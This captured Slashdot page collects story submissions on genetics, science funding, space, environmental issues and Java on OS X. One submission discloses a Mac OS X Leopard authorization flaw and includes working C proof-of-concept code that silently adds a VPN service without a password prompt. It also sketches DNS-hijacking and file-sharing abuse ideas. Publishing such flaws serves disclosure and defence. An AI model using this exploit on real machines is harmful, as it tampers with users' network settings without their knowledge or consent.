Become a fan of Slashdot on Facebook

 


Forgot your password?
Close
typodupeerror
×
Biotech

The Gene Is Having an Identity Crisis 257

Posted by kdawson from the more-complicated-than-you-thought dept.
gollum123 writes "New large-scale studies of DNA are causing a rethinking of the very nature of genes. A typical gene is no longer conceived of as a single chunk of DNA encoding a single protein. It turns out, for example, that several different proteins may be produced from a single stretch of DNA. Most of the molecules produced from DNA may not even be proteins, but rather RNA. The familiar double helix of DNA no longer has a monopoly on heredity: other molecules clinging to DNA can produce striking differences between two organisms with the same genes — and those molecules can be inherited along with DNA. Scientists have been working on exploring the 98% of the genome not identified as the protein-coding region. One of the biggest of these projects is an effort called the Encyclopedia of DNA Elements, or 'Encode.' And its analysis of only 1% of the genome reveals the genome to be full of genes that are deeply weird, at least by the traditional standard of what a gene is supposed to be and do. The Encode team estimates that the average protein-coding region produces 5.7 different transcripts. Different kinds of cells appear to produce different transcripts from the same gene. And it gets even weirder. Our DNA is studded with millions of proteins and other molecules, which determine which genes can produce transcripts and which cannot. New cells inherit those molecules along with DNA. In other words, heredity can flow through a second channel."
NASA

Submission + - SPAM: NASA cautions U.S. space program has mighty compet

Submitted by
WirePosted
WirePosted writes: "On Wednesday, February 13, 2008, NASA administrator Dr. Michael Griffin spoke to the U.S. House of Representative's Science and Technology Committee about the advances made in the Chinese space program over the past few years — admitting that China is a major competitor of the United States."
Link to Original Source
Security

Submission + - Leopard's open invitation to malware developers

Submitted by
NSD
NSD writes: "Remember that trojan plugin that poked poisoned DNS servers into unsuspecting OS X users' network settings thereby redirecting legitimate web traffic to phishing sites and porn ads? Well from what I've seen, a new function in 10.5's SystemConfiguration framework just made that style of attack a whole lot easier to pull off without anyone noticing.

Specifically, when run under an admin account (as I'd venture that most applications and application plugins will be for over 90% of all home and small business users in the world since that's the way their installer discs set them up) the brand new function SCPreferencesCreateWithAuthorization() will swallow any bogus AuthorizationRef you feed it without challenge and happily return an SCPreferences session with which one can obtain a write lock and proceed to do whatever one wishes to /Library/Preferences/SystemConfiguration/preferences.plist (that's where most of your machine's network configuration info lives in case you didn't know). Want to make requests for "google.com" resolve to your own page full of Enzyte ads? Simple! My testing has shown that, on a stock Leopard installation, any code, anywhere can do this, and the user will never see an authentication dialog. They may very well never notice that anything has even happened.

But changing DNS servers is just the beginning. Consider what else lives in SC's persistent store that malicious code might be interested in. How about the incomprehensibly inconsistently named "Dynamic Global Host"/"BackToMyMac"/Wide-Area Bonjour settings? How much work would it take to cause an unsuspecting user's machine to begin registering itself and advertising file sharing services (which they assumed were private) on a foreign BIND box? Haven't actually tried it yet, but it certainly seems to be well within the realm of possibility (maybe Apple's banking on the fact that this'll never happen because they've never taken the time to document Wide-Area Bonjour well enough for anyone to get a reliable server up and running!).

Snappy retorts I've already received from Apple employees followed by reasons why I feel they're full of beans:

1. Don't use an admin account

-OK; tell the installer/Macbuddy/whatever team to stop creating them for us while you're at it.

2. Check "Require password to unlock each System Preferences pane" in your Security settings and you'll see the authentication dialog you expect to

-Sweet. Done. Now explain that to my grandma. After that you can explain why it isn't set by default if it's so critical. If anything this just proves that SCPreferencesCreateWithAuthorization is already perfectly capable of doing the right thing and is simply choosing not to.

3. File a bug report (DTS to English translation: "leave me alone")

-I was on the payroll once upon a time myself (fired in 2001, thank you) and even then I never saw a lot of meaningful change take place in response to an externally filed Radar bug unless it came from someone capable of exerting economic or legal pressure on Apple. If you think it's an important bug, you can file it at the level of priority it deserves much more quickly than I can muddle through a web form and sit around waiting to be ignored by your overpaid product manager for six months until I get a "this bug has been closed because we got tired of looking at it" follow-up email. If you *don't* think it's an important bug, then it's probably not going to be fixed anyway. Maybe if Google indexed Radar entries I'd bother, but until then, filing your bugs is your job.

So while some people seem to feel that this is the correct and expected behavior for this function, if Launch Services is going to start balking about double-clicked .html files, I don't think its unreasonable of a user — be they a member of the admin group or not — to expect that their network settings not be modified without their knowledge or consent. If they say yes to the dialog, that's their problem. If they're never even given a dialog, that's Apple's.

Proof of concept code (to be built as a CoreFoundation tool, linking against SystemConfiguration.framework and Security.framework):

—
#include <CoreFoundation/CoreFoundation.h>
#import <SystemConfiguration/SystemConfiguration.h>
#import <Security/Security.h>

void ExitIfNil(const void *p, CFStringRef msg);
void ExitIfNot(bool b, CFStringRef msg);
void ExitWithMsg(CFStringRef msg);

int main (int argc, const char * argv[])
{ //This tool is meant to demonstrate the fact that SystemConfiguration's //persistant data store can be modified by code running as a non-root //admin user without their knowledge or permission, so it makes no sense //for us to do anything if we are being run as root.
        if ( geteuid() != 0 )
        {
                printf("Tool executed without root privileges. Fabricating authorization.\n", stdout);

                SCPreferencesRef prefs = nil;
                AuthorizationRef auth = nil;
                OSStatus authErr = noErr; //Build an AuthorizationRef to pass in to the SystemConfiguration framework
                AuthorizationFlags rootFlags = kAuthorizationFlagDefaults | kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed | kAuthorizationFlagPreAuthorize;

                authErr = AuthorizationCreate(nil, kAuthorizationEmptyEnvironment, rootFlags, &auth);

                if ( authErr == noErr )
                { //If successful, the SystemConfiguration framework will accept this AuthorizationRef //and request no further validation from this point forward.
                        prefs = SCPreferencesCreateWithAuthorization(nil, CFSTR("SCrapist"), nil, auth);
                }

                if ( prefs && SCPreferencesLock(prefs, true) )
                { //We got a write lock, that means we can do whatever //we want to /Library/Preferences/SystemConfiguration/preferences.plist
                        printf("SCPrefs lock obtained successfully.\n", stdout); //For this demonstration we'll create a new VPN service which will be //immediately visible from the Network pane of System Preferences.
                        SCNetworkInterfaceRef l2tpInterface = SCNetworkInterfaceCreateWithInterface(kSCNetworkInterfaceIPv4, kSCNetworkInterfaceTypeL2TP);
                        ExitIfNil((void*)l2tpInterface, CFSTR("Could not create L2TP interface"));

                        SCNetworkInterfaceRef pppInterface = SCNetworkInterfaceCreateWithInterface(l2tpInterface, kSCNetworkInterfaceTypePPP);
                        ExitIfNil((void*)pppInterface, CFSTR("Could not create PPP interface"));

                        SCNetworkServiceRef vpnService = SCNetworkServiceCreate(prefs, pppInterface);
                        ExitIfNil((void*)vpnService, CFSTR("Could not create VPN service"));

                        ExitIfNot(SCNetworkServiceEstablishDefaultConfiguration(vpnService), CFSTR("Could not establish default configuration"));
                        ExitIfNot(SCNetworkServiceSetName(vpnService, CFSTR("Gotcha")), CFSTR("Could not set service name"));
                        ExitIfNot(SCNetworkSetAddService(SCNetworkSetCopyCurrent(prefs), vpnService), CFSTR("Could not add service to current set")); //Commit and apply
                        SCPreferencesCommitChanges(prefs);
                        SCPreferencesApplyChanges(prefs); //Clean up like any good malware author would
                        CFRelease(l2tpInterface);
                        CFRelease(pppInterface);
                        CFRelease(vpnService);

                        SCPreferencesUnlock(prefs);
                        CFRelease(prefs);
                }
        }
        else
        {
                printf("You shouldn't run this tool as root; it kinda defeats the purpose.\n", stdout);
        }

        return 0;
}

void ExitWithMsg(CFStringRef msg)
{
        CFShow(msg);
        CFShow(CFSTR("Cannot continue; exiting."));

        exit(1);
}

void ExitIfNil(const void *p, CFStringRef msg)
{
        if ( p == nil )
        {
                ExitWithMsg(msg);
        }
}

void ExitIfNot(bool b, CFStringRef msg)
{
        if ( !b )
        {
                ExitWithMsg(msg);
        }
}"
United States

Submission + - Omnibus spending bill puts research in danger

Submitted by mzs
mzs writes: Despite promises of increased science funding the omnibus spending bill would put US science programs in jeopardy:
A Budget Too Small [Science Now]

The $515 billion spending package takes a big bite out of President George W. Bush's promise — backed up by votes earlier this year in Congress — to give a substantial boost to the research budgets of the National Science Foundation (NSF), the Department of Energy's (DOE's) Office of Science, and the National Institute of Standards and Technology (NIST). Instead, the agencies get meager increases — a portion of which is eaten up by projects earmarked by legislators for their constituents — or across-the-board cuts. The package also makes moot the double-digit hikes authorized for research, education and training, and investment in innovation spelled out in a 6-month-old law, the America COMPETES Act, that the community fought hard to pass
Fermilab and the International Linear Collider projects are particularly hard hit with funding down by nearly $90 million.
Black Monday [Fermilab Today]

Since a quarter of the fiscal year has already gone by, this essentially means a shutdown of the R&D on ILC and SCRF for the rest of the fiscal year. This is a body blow to the future of the ILC, the U.S. role in it and Fermilab. ... These proposed cuts, which come on top of the very limited particle physics budgets of the last few years, are destructive of our field and our laboratory. There is no way to sugar-coat this.
Not only does this hit hurt SLAC but the hit to the funding of the ILC only does more damage the role the US has in high energy pgysics.
US Budget Spells New Troubles For Next-Gen Particle Accelerator [Wired Science]

It's undeniably true that the country has suffered though years of abysmal financial management, and more bad economic news likely to be on the horizon makes cuts necessary. But this is an important issue. The U.S. is fast losing its leading role in particle physics; anyone who doesn't want to see this trend accelerate in the near future might want to shoot their local senator a very quick note of polite protest.

The problems could well run deeper than the parochial U.S. interests, too. If both the U.S. and Britain pull away from significant project funding, the entire ILC effort itself — which is predicated on strong internationally participation — will become dangerously fragile.
Announcements

Submission + - $100 Billiion 'Fix' For Global Warming Discredited (scienceblog.com) 4

Submitted by
slowboy
slowboy writes: "Science Blog reports that a $100 billion fix for global warming may not work. The discredited 'fix' is the fertilization of potentially millions of tons of iron or other nutrients into the ocean to promote an algae bloom. If this was to work then the algae would start sucking the carbon out of the atmosphere and reduce the effects of a major greenhouse gas. But guess what, that may just not work, regardless of how it would disrupt the ocean's ecosystem. It seems that the carbon may not get pumped into the deeper ocean, it may just lie near the surface and get taken back up into the atmosphere. Fortunately we are finding this out now, and not after $100 billion of you're, mine and others tax money went to the scheme."
Space

Submission + - Barack Obama Pits Space Explorers Against School C (associatedcontent.com)

Submitted by
MarkWhittington
MarkWhittington writes: "Barack Obama wants to slash funding for the NASA program to develop a replacement for the space shuttle that will not only fly to low Earth orbit, but also beyond to the Moon and Mars. He is doing this "for the children" as a means to pay for an education initiative. Whenever a politician wants to do something "for the children", it's time to watch out."
IBM

Submission + - IBM's toxic dumping in 1950 backfires. (greenprinteronline.com)

Submitted by
An anonymous reader writes: From GreenPrinter's Blog: Subterranean chemicals, including those part of a class called volatile organic compounds (VOCs), from a former chemical burn pit owned by IBM in the pre-regulation 1950s through to the 1970s has likely re-emerged and spread under an upstate New York Country Binghamton Country Club property to the south, according to recent tests overseen by state health and environmental officials.

Exposure to VOCs, such as the "acids, metal strippers, printing inks, ether and various solvents" IBM used for manufacturing operations for plating and printing, pose health threats such as cancer to brain damage. (more...)

Nice. Real nice.
Media

Submission + - The ACS's Hostility Toward Open Access Journals (the-scientist.com)

Submitted by
Beetle B.
Beetle B. writes: "'An anonymous email that was circulated on October 10 calls into question the practices of the non-profit publishing giant, the American Chemical Society (ACS), which has long been under scrutiny. The Email, signed only by "ACS insider," was sent to college librarians, ACS administrators, and a science writing listserv. It said that the ACS is growing more corporate in structure and described how it manages the 36 chemical journals under its purview. Among other criticisms, the anonymous emailer wrote that the bonuses given to ACS executives are tied to the profits of the publishing division, and such bonuses explain why the society has had such a strong stance against open-access publishing.'

In 2005, the ACS opposed PubChem, an open access chemical compound database.

Slashdot has covered open access journals numerous times."
Robotics

Submission + - Interview: The driver behind NASA's Mars Rovers (idg.com.au)

Submitted by
Anonymous Coward
Anonymous Coward writes: "Behind the dream IT job: PC World has done an interview with one of the Mars Rover drivers, who discusses what the job involves, some highlights and funnier moments as well as what software and hardware the team use. "Behind every robot is a driver. "I've often said that I have the best job on two planets, and you can believe it," Scott Maxwell, one of the 14 Rover drivers said."
Java

Submission + - Java 6 and Leopard 3

Submitted by
nyri
nyri writes: "As a professional Java coder and consultant, I switched to OS X two years ago. I felt that my Java stuff works on it. After release on Java 6, I have felt otherwise: there is no OS X release. I assumed that Leopard would have Java 6 but I haven't seen a trace of it. I am seriously considering moving back to Windows (Linux, alas, is not an option for me in my corporate enviroment).
Has Apple, for some reason, decided that Java support does not pay off? Is this just a delay or has Apple decided to abandon Java support for good? Maybe you fellow slashdotters can give some answers to these questions.
All in all, other Java coders out there, how long are willing to put up with this kind of blatant ignorance of your needs? Or, do you have some nice technical solutions to this, which I am not-so-blissfully ignorant about?"
Space

Submission + - Saturn's Moons Harboring Water? (guardian.co.uk)

Submitted by
eldavojohn
eldavojohn writes: "New bizarre images of Saturn's moons are exciting scientists as there may be some indication of water, possibly at very low depths in the frigid environment they possess. From the article, 'Titan's north pole is currently gripped by winter. And quite a winter it is, with temperatures dropping to -180C and a rain of methane and ethane drizzling down, filling the moon's lakes and seas. These liquids also carve meandering rivers and channels on the moon's surface. Finally, last week Nasa and Esa revealed images from Cassini which confirmed that jets of fine, icy particles are spraying from Saturn's moon Enceladus and originate from a hot 'tiger stripe' fracture that straddles the moon's south polar region. The discovery raises the prospect of liquid water existing on Enceladus, and possibly life.' You can find the images here."
United States

Submission + - Intelligently deranged creationists at Baylor (uncommondescent.com)

Submitted by OMITSDDI
OMITSDDI writes: Dr Debmski, after a spat over an "intelligent design lab" at Baylor university and a decision going against him and his friend, publishes the home phone numbers and street address of the regents of the university and advises his blog readers to contact them "respectfully" and try to get the ID research lab reinstated. The lab's just a website really, and it'll disprove "darwinism" if left alone. Honestly. Here is the page www.uncommondescent.com Here is some other commentary PZ Myes take on it
Enlightenment

Submission + - DOE Declares RFP Environmental Restoration 'Done' (blogspot.com)

Submitted by
DougDot
DougDot writes: "The US Department of Energy has declared that the environmental restoration of the Rocky Flats Plutonium bomb trigger plant northwest of Denver is 'done' — 50 years ahead of schedule!

Actually, upon closer reading it looks like they just stopped working on the restoration project 50 years early, probably so that they could focus on building the Rocky Flats-South Plant (aka Los Alamos National Laboratory).

DOE plans to spend $$ billions in the coming years to build a replacement Plutonium 'trigger' plant at the Los Alamos National Laboratory, now languishing after years of well-publicised security and safety episodes. DOE would like to see 200 — 300 Plutonium 'pits' per year eventually being fabricated at the new pit fab facility. Needless to say, the neighbors in nearby Santa Fe, New Mexico are not thrilled at the prospects of further Plutonium contamination in the Los Alamos groundwater, since that groundwater flows into the Rio Grande, which Santa Fe is planning to draw drinking water from soon."

Slashdot Top Deals

"Luke, I'm yer father, eh. Come over to the dark side, you hoser." -- Dave Thomas, "Strange Brew"

Close